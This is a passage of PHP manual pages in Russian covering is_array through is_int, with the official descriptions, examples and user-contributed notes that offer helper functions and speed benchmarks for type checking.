$arr4 = array('foo', 'bar', 'baz', 'foo', 'bar', null, 'foo', 'bar', 'baz', 'foo'); // not associative but is_assoc2() thinks it is
$arr5 = array(0 => 'foo', 1 => 'bar', 2 => 'baz', 3 => 'foo', 4 => 'bar', 5 => 'baz', 'foo3' => 'foo', 'bar3' => 'bar', 'baz3' => 'baz', 'foo4' => 'foo'); // associative

$i = $j = 0;
$time = array(0.0, 0.0, 0.0, 0.0, 0.0);

for ($j = 0; $j < 2000; $j++) {
    $time[0] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc1($arr1) || is_assoc1($arr2) || is_assoc1($arr3) || is_assoc1($arr4) || !is_assoc1($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[0] += microtime(true);
    $time[1] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc2($arr1) || is_assoc2($arr2) || is_assoc2($arr3) || !is_assoc2($arr4) || !is_assoc2($arr5)) { // $arr4 tweaked
            echo 'error';
            break;
        }
    }
    $time[1] += microtime(true);
    $time[2] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc3($arr1) || is_assoc3($arr2) || is_assoc3($arr3) || is_assoc3($arr4) || !is_assoc3($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[2] += microtime(true);
    $time[3] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc4($arr1) || is_assoc4($arr2) || is_assoc4($arr3) || is_assoc4($arr4) || !is_assoc4($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[3] += microtime(true);
    $time[4] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc5($arr1) || is_assoc5($arr2) || is_assoc5($arr3) || is_assoc5($arr4) || !is_assoc5($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[4] += microtime(true);
}

echo 'is_assoc1(): ' . $time[0] . "\n";
echo 'is_assoc2(): ' . $time[1] . "\n";
echo 'is_assoc3(): ' . $time[2] . "\n";
echo 'is_assoc4(): ' . $time[3] . "\n";
echo 'is_assoc5(): ' . $time[4] . "\n";

?>

is_assoc1() - uses unset(), a bit slow, but mem friendly and no function calls
is_assoc2() - uses isset(), fastest one, but returns TRUE whenever array contains NULL
is_assoc3() - fixed is_assoc2(), uses array_key_exists(), fast and memory friendly, and much smarter than the following (no need to check all those keys)
is_assoc4() - alex' version with proper check and key sorting
is_assoc5() - fixed a bit JTS' version, really nice one, but uses too many functions and checks all keys

Results:

is_assoc1(): 2.1628699302673
is_assoc2(): 1.1079933643341
is_assoc3(): 1.7120850086212
is_assoc4(): 3.9194552898407
is_assoc5(): 1.9509885311127
rik at mmod dot co 12-Apr-2018 05:39
Using is_array prior to an in_array within an if clause will safely escape a check against a variable that could potentially be a non-array when using in_array.  For instance:

NOTE: A real use case might be that we have a list of possible flags which  in a database we have stored whether each of the flags are 0 or 1.  We want a list of the flags which have the value of 1 to be returned.

Our example here will not use so many technical artifacts, but will be based on similar logic just to get the point across.

<?php

// We have a list of known values
$knownVars = ['apple', 'orange'];

// A list of values to check
$listToCheck = ['pear', 'banana'];

// And a method that takes a list of values to check and returns a new list
// of the items from said list that are found to be valid...
public function getValidItemsList( $listToCheck /*['pear', 'banana']*/)
{
    $returnList = [];
    foreach($listToCheck as $key => $val)
    {
        if(in_array($val, $knownVars))
        {
            array_push($returnList, $val);
        }
    }

    if(empty($returnList))
    {
        // We have a special case if there were no valid items found, which is the case we are going over
        return  -1;
    }

    // Otherwise, normally returns a list of the items that were found to be valid
    return $returnList;
}

// Call the method and check for any valid items that can be used for some purpose
$validItemsList =  getValidItemsList($listToCheck);

// In this usage we could potentially get an exception because
// in_array() expects an array for argument #2, checking that the value != -1 does not escape the if statement:
if(isset($validItemsList) && $validItemsList != -1 && in_array('apple', $validItemsList))
{
    //...
}

// In this usage, we break free from the if statement safely:
if(isset($validItemsList) && $validItemsList != -1 && is_array($validItemsList) && in_array('apple', $validItemsList))
{
    //...
}

?>

Hope that can help someone, I know it helped me.
gwschnell at ewe dot net 22-Mar-2018 04:58
An error will be thrown If is_array() is applied to a nonexisting varble.
Rob Thomas 05-Oct-2016 10:40
Please note that the 'cast to array' check is horrendously out of date.

Running that code against PHP 5.6 results in this:

is_array  :  0.93975400924683
cast, === :  1.2425191402435

So, please use 'is_array', not the horrible casting hack.
ari at umbrella dot bz 05-Sep-2016 08:34
hperrin's results have indeed changed in PHP 7. The opposite is now true, is_array is faster than comparison:

is_array  :  0.52148389816284
cast, === :  0.84179711341858

Tested 1000000 iterations.
mbrodala at pagemachine dot de 24-Aug-2016 01:22
Notice that the benchmark results from hperrin at gmail dot com have changed in the meantime:

is_array  :  0.31888604164124
cast, === :  0.58448791503906

(Using PHP 5.6.24, I expect other results with PHP 7)
dmitry dot sushilov at gmail dot com 12-Oct-2014 12:49
function is_associate_array($array)
{
    return $array === array_values($array);
}

or you can add check is_array in functions
JTS 08-Jun-2010 04:22
I would change the order of the comparison, because if it is really an empty array, it is better to stop at that point before doing several 'cpu & memory intensive' function calls.

In the end on a ratio of 3 not empty arrays to 1 empty array computed for 1000000 iterations it needed 10% less time.
Or the other way round:
It needed approx 3% to 4% more time if the array is not empty, but was at least 4 times faster on empty arrays.

Additionally the memory consumption veritably lesser.

<?php
function is_assoc($array) {
    return (is_array($array) && (count($array)==0 || 0 !== count(array_diff_key($array, array_keys(array_keys($array))) )));
}
?>
hperrin at gmail dot com 28-May-2010 10:02
I've found a faster way of determining an array. If you use is_array() millions of times, you will notice a *huge* difference. On my machine, this method takes about 1/4 the time of using is_array().

Cast the value to an array, then check (using ===) if it is identical to the original.

<?php
if ( (array) $unknown !== $unknown ) {
    echo '$unknown is not an array';
} else {
    echo '$unknown is an array';
}
?>

You can use this script to test the speed of both methods.

<pre>
What's faster for determining arrays?

<?php

$count = 1000000;

$test = array('im', 'an', 'array');
$test2 = 'im not an array';
$test3 = (object) array('im' => 'not', 'going' => 'to be', 'an' => 'array');
$test4 = 42;
// Set this now so the first for loop doesn't do the extra work.
$i = $start_time = $end_time = 0;

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    if (!is_array($test) || is_array($test2) || is_array($test3) || is_array($test4)) {
        echo 'error';
        break;
    }
}
$end_time = microtime(true);
echo 'is_array  :  '.($end_time - $start_time)."\n";

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    if (!(array) $test === $test || (array) $test2 === $test2 || (array) $test3 === $test3 || (array) $test4 === $test4) {
        echo 'error';
        break;
    }
}
$end_time = microtime(true);
echo 'cast, === :  '.($end_time - $start_time)."\n";

echo "\nTested $count iterations."

?>
</pre>

Prints something like:

What's faster for determining arrays?

is_array  :  7.9920151233673
cast, === :  1.8978719711304

Tested 1000000 iterations.
Anonymous 16-May-2009 02:18
Using empty() in the previous example posted by Anonymous will result in a "Fatal error: Can't use function return value in write context".  I suggest using count() instead:

<?php
function is_assoc($array) {
    return (is_array($array) && 0 !== count(array_diff_key($array, array_keys(array_keys($array)))));
}
?>
skaimauve at yahoo dot ca 03-Mar-2009 12:12
Or you could make use of the array_diff_key and array_key function:

<?php

function is_assoc($var)
{
        return is_array($var) && array_diff_key($var,array_keys(array_keys($var)));
}

function test($var)
{
        echo is_assoc($var) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}

// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);

// an array
$b = array_values($a);
test($b);

// an object
$c = (object)$a;
test($c);

// other types
test($a->a);
test($a->b);
test($a->c);

?>

The above code outputs:
I'm an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
jim at akubo dot net 28-Oct-2008 11:02
yousef's example was wrong because is_vector returned true instead of false if the key was found
here is the fixed version (only 2 lines differ)
<?php
function is_vector( &$array ) {
   if ( !is_array($array) || empty($array) ) {
      return -1;
   }
   $next = 0;
   foreach ( $array as $k => $v ) {
      if ( $k !== $next ) return false;
      $next++;
   }
   return true;
}
?>
yousuf at philipz dot com 16-Oct-2008 03:41
alex frase's example is fast but elanthis at awesomeplay dot com's example is faster and Ilgar's modification of alex's code is faulty (the part " || $_array[$k] !== $v"). Also, Ilgar's suggestion of giving a false return value when the variable isnt an array is not suitable in my opinion and i think checking if the array is empty would also be a suitable check before the rest of the code runs.

So here's the modified (is_vector) version

<?php
function is_vector( &$array ) {
   if ( !is_array($array) || empty($array) ) {
      return -1;
   }
   $next = 0;
   foreach ( $array as $k => $v ) {
      if ( $k !== $next ) return true;
      $next++;
   }
   return false;
}
?>

and the modified (alex's is_assoc) version

<?php
function is_assoc($_array) {
    if ( !is_array($_array) || empty($array) ) {
        return -1;
    }
    foreach (array_keys($_array) as $k => $v) {
        if ($k !== $v) {
            return true;
        }
    }
    return false;
}
?>
alex frase 16-Jul-2008 08:05
Yet another simpler, faster is_assoc():

<?php
function is_assoc($array) {
  foreach (array_keys($array) as $k => $v) {
    if ($k !== $v)
      return true;
  }
  return false;
}
?>

In my tests it runs about twice as fast as Michael/Gabriel's array_reduce() method.

(Speaking of which: Gabriel's version doesn't work as written; it reports associative arrays as numeric if only the first key is non-numeric, or if the keys are numeric but ordered backwards.  Michael solves this problem by comparing array_reduce() to count(), but that costs another function call; it also works to just compare to -1 instead of 0, and therefore return -1 as the ternary else from the callback).
Michael 11-Sep-2007 12:37
A slight modification of what's below:

<?php

function is_assoc($array)
{
    return is_array($array) && count($array) !== array_reduce(array_keys($array), 'is_assoc_callback', 0);
}

function is_assoc_callback($a, $b)
{
    return $a === $b ? $a + 1 : 0;
}

?>
angelo [at] mandato <dot> com 26-Feb-2007 01:32
The is_associative_array() and is_sequential_array() functions posted by 'rjg4013 at rit dot edu' are not accurate.

The functions fail to recognize indexes that are not in sequence or in order.  For example, array(0=>'a', 2=>'b', 1=>'c') and array(0=>'a', 3=>'b', 5=>'c') would be considered as sequential arrays. A true sequential array would be in consecutive order with no gaps in the indices.

The following solution utilizes the array_merge properties. If only one array is given and the array is numerically indexed, the keys get re-indexed in a continuous way.  The result must match the array passed to it in order to truly be a numerically indexed (sequential) array.  Otherwise it can be assumed to be an associative array (something unobtainable in languages such as C).

The following functions will work for PHP >= 4.

<?php
    function is_sequential_array($var)
    {
        return (array_merge($var) === $var && is_numeric( implode( array_keys( $var ) ) ) );
    }

    function is_assoc_array($var)
    {
        return (array_merge($var) !== $var || !is_numeric( implode( array_keys( $var ) ) ) );
    }
?>

If you are not concerned about the actual order of the indices, you can change the comparison to == and != respectively.
jupiter at nospam dot com 29-May-2006 11:42
Will check a Multi-Dimentional Array to any specified level.  This is a fix to 11/16/05 submission, which would break since you must supply a foreach with an array. Beware recursive functions shouldn't go over 100 deep or could break the memory stack on server.

<?php
// checks for multiarray to defined depth level recursively
// original $level must be 2 or more, else will instantly return true
function isDeepMultiArray($multiarray, $level = 2) {  // default is simple multiarray
    if (is_array($multiarray)) {  // confirms array
        if ($level == 1) {  // $level reaches 1 after specified # of recursions
            return true;  // returns true to recursive function conditional
        }  // end conditional
        foreach ($multiarray as $array) {  // goes one level deeper into array
            if (isDeepMultiArray($array, $level - 1)) {  // check subarray
                $message = "I'm a multiarray";  // optional message
                return $message;  // best if $message = true so function returns boolean
            }  // end recursive function
        }  // end loop
    } else {  // not an array at specified level
    return false;  // is also used recursively so can't change to message
    }
}

if (isDeepMultiArray(array(array()), 2)); // beware this returns true eventhough arrays are empty

?>
BTW my notation is consistent with the PEAR manual on coding standards, which is what php.net says to follow. I hope a function like this gets included in PHP6.
March 30-Mar-2006 06:28
And here is another variation for a function to test if an array is associative. Based on the idea by mot4h.

<?php
function is_associative($array)
{
  if (!is_array($array) || empty($array))
    return false;

  $keys = array_keys($array);
  return array_keys($keys) !== $keys;
}
?>


Проверяет, представляет ли собой переменная логическое значение

  • « is_array
  • is_callable »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, представляет ли собой переменная логическое значение

is_bool

(PHP 4, PHP 5, PHP 7, PHP 8)

is_bool — Проверяет, представляет ли собой переменная логическое значение

Описание

is_bool(mixed $value): bool

Проверяет, представляет ли собой переменная логическое значение.

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — логическое (bool), иначе false.

Примеры

Пример #1 Пример использования функции is_bool()

<?php

$a = false;
$b = 0;

// Поскольку переменная $a — логическая переменная, функция вернёт true
if (is_bool($a) === true) {
echo "Да, это логическая переменная";
}

// Поскольку переменная $b — не логическая переменная, функция вернёт false
if (is_bool($b) === false) {
echo "Нет, это не логическая переменная";
}

?>

Смотрите также

  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • is_object() - Проверяет, представляет ли собой переменная объект
  • is_array() - Определяет, представляет ли собой переменная массив

User Contributed Notes

Julio Marchi 08-Sep-2019 12:32
To check if a variable is boolean is one thing, to evaluate if the value of a variable represents a boolean condition (true or false) is another.

Here is a simple function that checks the status of the received variable in regard to boolean equivalencies (case-insensitive).

<?php
/**
 * Check "Booleanic" Conditions :)
 *
 * @param  [mixed]  $variable  Can be anything (string, bol, integer, etc.)
 * @return [boolean]           Returns TRUE  for "1", "true", "on" and "yes"
 *                             Returns FALSE for "0", "false", "off" and "no"
 *                             Returns NULL otherwise.
 */
function is_enabled($variable)
{
    if (!isset($variable)) return null;
    return filter_var($variable, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
}
?>

Of course, it is a simplistic approach, but for the majority of cases it will do the job right.

And, just to put the thing from the right perspective, here's a real function that does what Phill disclosed:

<?php
/**
 * Convert $variable to boolean (adapted from Phill answer)
 *
 * @param  [mixed]  $variable  Can be anything
 * @return [boolean]           Returns the booelan equivalent to $variable based on Zend Enegine interpretation
 */
function to_bool($variable)
{
    return (bool)$variable;
}
?>

I hope it helps someone. Happy coding.
phil 10-Jan-2019 06:21
It should be stated that this function returns true if the _type_ of it's argument is boolean. It does not convert or coerce the value to a boolean type, not sure why so many comments focus on how to do this.
However, if you arrived here looking for a solution to convert a value to a boolean type, use this:

to_bool($x) { return (bool)$x; }


Проверяет, что значение может быть вызвано как функция в текущей области видимости

  • « is_bool
  • is_countable »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, что значение может быть вызвано как функция в текущей области видимости

is_callable

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

is_callable — Проверяет, что значение может быть вызвано как функция в текущей области видимости

Описание

is_callable(mixed $value, bool $syntax_only = false, string &$callable_name = null): bool

Проверяет, что значение является callable.

Список параметров

value

Значение для проверки

syntax_only

Если равен true, функция только проверяет, что value может быть функцией или методом. В этом случае будут отклоняться переменные, которые не являются ни строкой, ни массивом c корректной структурой для использования в качестве callback-функции. Корректная структура массива предполагает наличие только двух элементов, первый из которых - объект или строка, а второй - только строка.

callable_name

Получает "вызываемое имя". В примере ниже это "someClass::someMethod". Следует иметь в виду, что хотя запись someClass::SomeMethod() означает вызываемый статический метод, это не так.

Возвращаемые значения

Возвращает true, если value может быть вызвана, или false в противном случае.

Примеры

Пример #1 Пример использования is_callable()

<?php
// Как проверить переменную, чтобы узнать, может ли она быть вызвана
// как функция.

//
// Простая переменная, содержащая имя функции
//

function someFunction()
{
}

$functionVariable = 'someFunction';

var_dump(is_callable($functionVariable, false, $callable_name)); // bool(true)

echo $callable_name, "\n"; // someFunction

//
// Массив, содержащий метод класса
//

class someClass {

function someMethod()
{
}

}

$anObject = new someClass();

$methodVariable = array($anObject, 'someMethod');

var_dump(is_callable($methodVariable, true, $callable_name)); // bool(true)

echo $callable_name, "\n"; // someClass::someMethod

?>

Пример #2 is_callable() и конструкторы

Функция is_callable() не считает конструкторы за callable.

<?php

class Foo
{
public function __construct() {}
public function foo() {}
}

var_dump(
is_callable(array('Foo', '__construct')),
is_callable(array('Foo', 'foo'))
);

Результат выполнения приведённого примера:

bool(false)
bool(false)

Примечания

  • Объект всегда является callable, если он реализует __invoke(), и этот метод доступен в текущей области видимости.
  • Имя класса является callable, если оно реализует __callStatic()
  • Если объект реализует __call(), тогда эта функция вернёт true для любого метода этого объекта, даже если метод не определён.
  • Функция может запускать автозагрузку, если вызывается с именем класса.

Смотрите также

  • function_exists() - Возвращает true, если указанная функция определена
  • method_exists() - Проверяет, существует ли метод в классе

User Contributed Notes

mohamed dot elidrissi at protonmail dot com 28-Jun-2021 12:26
Note that -- as mentioned in the migration guide-- starting from PHP 8.0, is_callable() will not work with non-static methods if you use a class name, instead an object of the class should be provided:

<?php

class Test
{
    public function method1() { }
    public static function method2() { }
}

// Pre PHP 8
var_dump(is_callable(array('Test', 'method1'))); // bool(true)
var_dump(is_callable(array('Test', 'method2'))); // bool(true)

// Post PHP 8
var_dump(is_callable(array('Test', 'method1'))); // bool(false)
var_dump(is_callable(array('Test', 'method2'))); // bool(true)
var_dump(is_callable(array(new Test, 'method1'))); // bool(true)

?>
izharaazmi at gmail dot com 11-Jan-2016 06:50
If the target class has __call() magic function implemented, then is_callable will ALWAYS return TRUE for whatever method you call it.
is_callable does not evaluate your internal logic inside __call() implementation (and this is for good).
Therefore every method name is callable for such classes.

Hence it is WRONG to say (as someone said):
...is_callable will correctly determine the existence of methods made with __call...

Example:
<?php
class TestCallable
{
    public function testing()
    {
          return "I am called.";
    }

    public function __call($name, $args)
    {
        if($name == 'testingOther')
        {
                return call_user_func_array(array($this, 'testing'), $args);
        }
    }
}

$t = new TestCallable();
echo $t->testing();      // Output: I am called.
echo $t->testingOther(); // Output: I am called.
echo $t->working();      // Output: (null)

echo is_callable(array($t, 'testing'));       // Output: TRUE
echo is_callable(array($t, 'testingOther'));  // Output: TRUE
echo is_callable(array($t, 'working'));       // Output: TRUE, expected: FALSE
?>


Проверяет, представляет ли собой содержимое переменной счётное значение

  • « is_callable
  • is_double »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, представляет ли собой содержимое переменной счётное значение

is_countable

(PHP 7 >= 7.3.0, PHP 8)

is_countable — Проверяет, представляет ли собой содержимое переменной счётное значение

Описание

is_countable(mixed $value): bool

Проверяет, представляет ли собой содержимое переменной массив (array) или объект, который реализует интерфейс Countable.

Список параметров

value

Значение для проверки.

Возвращаемые значения

Возвращает true, если значение value счётное, иначе false.

Список изменений

Версия | Описание
7.3.0 | Добавлена функция is_countable().

Примеры

Пример #1 Примеры использования функции is_countable()

<?php

var_dump(is_countable([1, 2, 3])); // bool(true)
var_dump(is_countable(new ArrayIterator(['foo', 'bar', 'baz']))); // bool(true)
var_dump(is_countable(new ArrayIterator())); // bool(true)
var_dump(is_countable(new stdClass())); // bool(false)

Смотрите также

  • is_array() - Определяет, представляет ли собой переменная массив
  • is_object() - Проверяет, представляет ли собой переменная объект
  • is_iterable() - Проверяет, итерируемо ли содержимое переменной
  • is_bool() - Проверяет, представляет ли собой переменная логическое значение

User Contributed Notes

renic 12-Jun-2019 08:33
be wary of using is_object($var) and assuming that the object has implemented Countable.  Not all objects are countable directly with count().
danmichaelo at gmail dot com 08-Apr-2019 08:33
Note that a polyfill for this method is also provided by the symfony/polyfill project.
info at arisendrake dot de 30-Aug-2018 11:10
If you are unable to upgrade to PHP 7.3 (not released at the time of writing), you can use this simple polyfill:

<?php
if (!function_exists('is_countable')) {
    function is_countable($var) {
        return (is_array($var) || $var instanceof Countable);
    }
}
?>


Псевдоним is_float

  • « is_countable
  • is_float »
  • PHP Manual
  • Функции для работы с переменными
  • Псевдоним is_float

is_double

(PHP 4, PHP 5, PHP 7, PHP 8)

is_double — Псевдоним is_float()

Описание

Псевдоним функции is_float().

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, представляет ли собой переменная число с плавающей точкой

  • « is_double
  • is_int »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, представляет ли собой переменная число с плавающей точкой

is_float

(PHP 4, PHP 5, PHP 7, PHP 8)

is_float — Проверяет, представляет ли собой переменная число с плавающей точкой

Описание

is_float(mixed $value): bool

Проверяет, представляет ли собой переменная число с плавающей точкой.

Замечание:

Чтобы проверить принадлежность переменной к числу или числовой строке (например, при обработке полей ввода формы, которые всегда передаются в виде строки), вызывают функцию is_numeric().

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — число с плавающей точкой (float), иначе false.

Примеры

Пример #1 Пример использования функции is_float()

<?php

var_dump(is_float(27.25));
var_dump(is_float('abc'));
var_dump(is_float(23));
var_dump(is_float(23.5));
var_dump(is_float(1e7)); //Научная нотация
var_dump(is_float(true));

?>

Результат выполнения приведённого примера:

bool(true)
bool(false)
bool(false)
bool(true)
bool(true)
bool(false)

Смотрите также

  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_numeric() - Проверяет, содержит ли переменная число или числовую строку
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • is_array() - Определяет, представляет ли собой переменная массив
  • is_object() - Проверяет, представляет ли собой переменная объект

User Contributed Notes

Anonymous 28-Jan-2021 10:38
is_float() returns true for NAN, INF and -INF. You may want to test is_float($value) && is_finite($value), or alternatively filter_var($value, FILTER_VALIDATE_FLOAT) !== false.
Erutan409 at Hotmail dot com 19-May-2015 02:37
Boylett's solution is elegant (http://php.net/manual/en/function.is-float.php#85848), but won't work for long float's or variables that are not explicitly type of 'string' or for long floats that are encased in quotes, making it a string that will be truncated/rounded when cast to a float.  So, further logic must be completed to test for the case.  Take the following example:

<?php

if (!function_exists("test_float")) {

    function test_float($test) {

        if (!is_scalar($test)) {return false;}

        $type = gettype($test);

        if ($type === "float") {
            return true;
        } else {
            return preg_match("/^\\d+\\.\\d+$/", $test) === 1;
        }

    }

}

$test = "3.14159265358979323846264338g32795";

var_dump($test);
var_dump((float)$test);
var_dump($test == (string)(float)$test);
var_dump(test_float($test));

?>

Will produce (32-bit):

string(34) "3.14159265358979323846264338g32795"
float(3.1415926535898)
bool(false)
bool(false)

So far, so good, right?  Yeah, but it's misleading, because the string is so long, that when it's converted to a float, it won't be equivalent to the comparison of the value being cast back into a string .  So the aforementioned short function works.  Look at this next example:

<?php

$test = 3.1415926535897932384626433832795;

var_dump($test);
var_dump((float)$test);
var_dump($test == (string)(float)$test);
var_dump(test_float($test));

?>

Will produce (32-bit):

float(3.1415926535898)
float(3.1415926535898)
bool(false)
bool(true)

Why is it not working now, but the value is truly a float?  Same reasoning as mentioned before.  The float is so long that it's truncated/rounded and doesn't match the comparison being done with the short-hand function.

So, as you can see, more logic should be applied to the variable you're testing.
nonzer0value 26-Mar-2015 08:20
Coercing the value to float and back to string was a neat trick. You can also just add a literal 0 to whatever you're checking.

<?php
function isfloat($value) {
  // PHP automagically tries to coerce $value to a number
  return is_float($value + 0);
}
?>

Seems to work ok:

<?php
isfloat("5.0" + 0);  // true
isfloat("5.0");  // false
isfloat(5 + 0);  // false
isfloat(5.0 + 0);  // false
isfloat('a' + 0);  // false
?>

YMMV
KIVagant at gmail dot com 21-Aug-2012 12:04
Yet another regular expression for float in real life:

<?php
function isTrueFloat($val)
{
    $pattern = '/^[-+]?(((\\\\d+)\\\\.?(\\\\d+)?)|\\\\.\\\\d+)([eE]?[+-]?\\\\d+)?$/';

    return (!is_bool($val) && (is_float($val) || preg_match($pattern, trim($val))));
}
?>

// Matches:
1, -1, 1.0, -1.0, '1', '-1', '1.0', '-1.0', '2.1', '0', 0, ' 0 ', ' 0.1 ', ' -0.0 ', -0.0, 3., '-3.', '.27', .27, '-0', '+4', '1e2', '+1353.0316547', '13213.032468e-13465', '-8E+3', '-1354.98879e+37436'

// Non-matches:
false, true, '', '-', '.a', '-1.a', '.a', '.', '-.', '1+', '1.3+', 'a1', 'e.e', '-e-4', 'e2', '8e', '3,25'
Boylett 20-Sep-2008 09:29
If you want to test whether a string is containing a float, rather than if a variable is a float, you can use this simple little function:

function isfloat($f) return ($f == (string)(float)$f);
kshegunov at gmail dot com 31-Mar-2008 01:32
As celelibi at gmail dot com stated, is_float checks ONLY the type of the variable not the data it holds!

If you want to check if string represent a floating point value use the following regular expression and not is_float(),
or poorly written custom functions.

/^[+-]?(([0-9]+)|([0-9]*\.[0-9]+|[0-9]+\.[0-9]*)|
(([0-9]+|([0-9]*\.[0-9]+|[0-9]+\.[0-9]*))[eE][+-]?[0-9]+))$/


Проверяет, представляет ли собой переменная целое число

  • « is_float
  • is_integer »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, представляет ли собой переменная целое число

is_int

(PHP 4, PHP 5, PHP 7, PHP 8)

is_int — Проверяет, представляет ли собой переменная целое число

Описание

is_int(mixed $value): bool

Проверяет, принадлежит ли тип переменной целому числу (int).

Замечание:

Чтобы проверить принадлежность переменной к числу или числовой строке (например, при обработке полей ввода формы, которые всегда передаются в виде строки), вызывают функцию is_numeric().

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — целое число (int), иначе false.

Примеры

Пример #1 Пример использования функции is_int()

<?php

$values = array(23, "23", 23.5, "23.5", null, true, false);
foreach ($values as $value) {
echo "is_int(";
var_export($value);
echo ") = ";
var_dump(is_int($value));
}

?>

Результат выполнения приведённого примера:

is_int(23) = bool(true)
is_int('23') = bool(false)
is_int(23.5) = bool(false)
is_int('23.5') = bool(false)
is_int(NULL) = bool(false)
is_int(true) = bool(false)
is_int(false) = bool(false)

Смотрите также

  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_numeric() - Проверяет, содержит ли переменная число или числовую строку
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • is_array() - Определяет, представляет ли собой переменная массив
  • is_object() - Проверяет, представляет ли собой переменная объект

User Contributed Notes

Hector (hector-ordonez.com) 25-Jul-2016 12:00
Simon Neaves's answer is incomplete: negative integers will return false.

I recommend checking stackoverflow's answers:
http://stackoverflow.com/questions/6416763/checking-if-a-variable-is-an-integer-in-php
Vasiliy Makogon 08-Apr-2016 10:10
If you want detect integer of float values, which presents as pure int or float, and presents as string values, use this functions:

<?php
function isInteger($val)
{
    if (!is_scalar($val) || is_bool($val)) {
        return false;
    }
    if (is_float($val + 0) && ($val + 0) > PHP_INT_MAX) {
        return false;
    }
    return is_float($val) ? false : preg_match('~^((:?+|-)?[0-9]+)$~', $val);
}

function isFloat($val)
{
    if (!is_scalar($val)) {
        return false;
    }
    return is_float($val + 0);
}

foreach ([
    '11111111111111111', 11111111111111111, // > PHP_INT_MAX - presents in PHP as float
    1, '10', '+1', '1.1', 1.1, .2, 2., '.2', '2.',
    '-2.', '-.2', null, [], true, false, 'string'
] as $value) {
    echo $value . ':' . gettype($value) . ' is Integer? - '  . (isInteger($value) ? 'yes' : 'no') . PHP_EOL;
    echo $value . ':' . gettype($value) . ' is Float? - '  . (isFloat($value) ? 'yes' : 'no') . PHP_EOL;
}
?>
davide dot renzi at gmail dot com 16-Dec-2015 12:32
I've found a faster way of determining an integer.
On my env, this method takes about half the time of using is_int().

Cast the value then check if it is identical to the original.

<?php
if ( (int) $n !== $n ) {
    echo 'not is int';
} else {
    echo 'is int';
}
?>
petepostma at gmail dot spam dot com 17-Jul-2012 06:38
There is a versa to the vice of this int only type check.

is_int( $integer_type) will only return true, if the TYPE is int, not the value
ctype_digit( $string_type) will only return true if the TYPE is string, and its value is INT

therefore:
 return ( is_int($value) || ctype_digit($value) );
nicolas dot giraud at actiane dot com 27-Jun-2012 09:24
Just a shorter way to check if your variable is an int or a string containing a int without others digit than 0 to 9 :

<?php
$bool = ( !is_int($value) ? (ctype_digit($value)) : true );

$value = 42; //true
$value = '42'; //true
$value = '1e9'; //false
$value = '0155'; //true
$value = 0155; //true
$value = 0xFF; //true while it's just the same as 255
$value = '0xFF'; //false
$value = 'a'; //false
$value = array(); //false
$value = array('5'); //false
$value = array(5); false
$value = ''; //false
$value = NULL; //false

?>

Short & cool :)
andre dot roesti at 7flex dot net 27-Jul-2010 05:51
With this function you can check if every of multiple variables are int. This is a little more comfortable than writing 'is_int' for every variable you've got.

<?php
function are_int ( ) {
    $args = func_get_args ();
    foreach ( $args as $arg )
        if ( ! is_int ( $arg ) )
            return false;
    return true;
}

// Example:
are_int ( 4, 9 ); // true
are_int ( 22, 08, 'foo' ); // false
?>
Robin 27-Mar-2010 08:22
Keep in mind that is_int() operates in signed fashion, not unsigned, and is limited to the word size of the environment php is running in.

In a 32-bit environment:

<?php
is_int( 2147483647 );           // true
is_int( 2147483648 );           // false
is_int( 9223372036854775807 );  // false
is_int( 9223372036854775808 );  // false
?>

In a 64-bit environment:

<?php
is_int( 2147483647 );           // true
is_int( 2147483648 );           // true
is_int( 9223372036854775807 );  // true
is_int( 9223372036854775808 );  // false
?>

If you find yourself deployed in a 32-bit environment where you are required to deal with numeric confirmation of integers (and integers only) potentially breaching the 32-bit span, you can combine is_int() with is_float() to guarantee a cover of the full, signed 64-bit span:

<?php
$small = 2147483647;         // will always be true for is_int(), but never for is_float()
$big = 9223372036854775807;  // will only be true for is_int() in a 64-bit environment

if( is_int($small) || is_float($small) );  // passes in a 32-bit environment
if( is_int($big) || is_float($big) );      // passes in a 32-bit environment
?>
me at rexxars dot com 16-Sep-2009 05:23
I was looking for the fastest way to check for an unsigned integer which supported large numbers like 4318943448871348 or 0xFFFFFFFF.

Fastest I came up with is this:
<?php
function is_unsigned_int($val) {
    return ctype_digit((string) $value));
}
?>

Will return true on 1515, 0xFFFFFFFF, '3515' and '1365158185855141'.
Will return false on 0.1515, '415.4134' and '-616'.

Be aware though, before PHP 5.1.0 this will return true on an empty string.

According to my benchmarks this is about 30% faster than the regex ^\d+$.
e dot sand at elisand dot com 09-Apr-2009 08:27
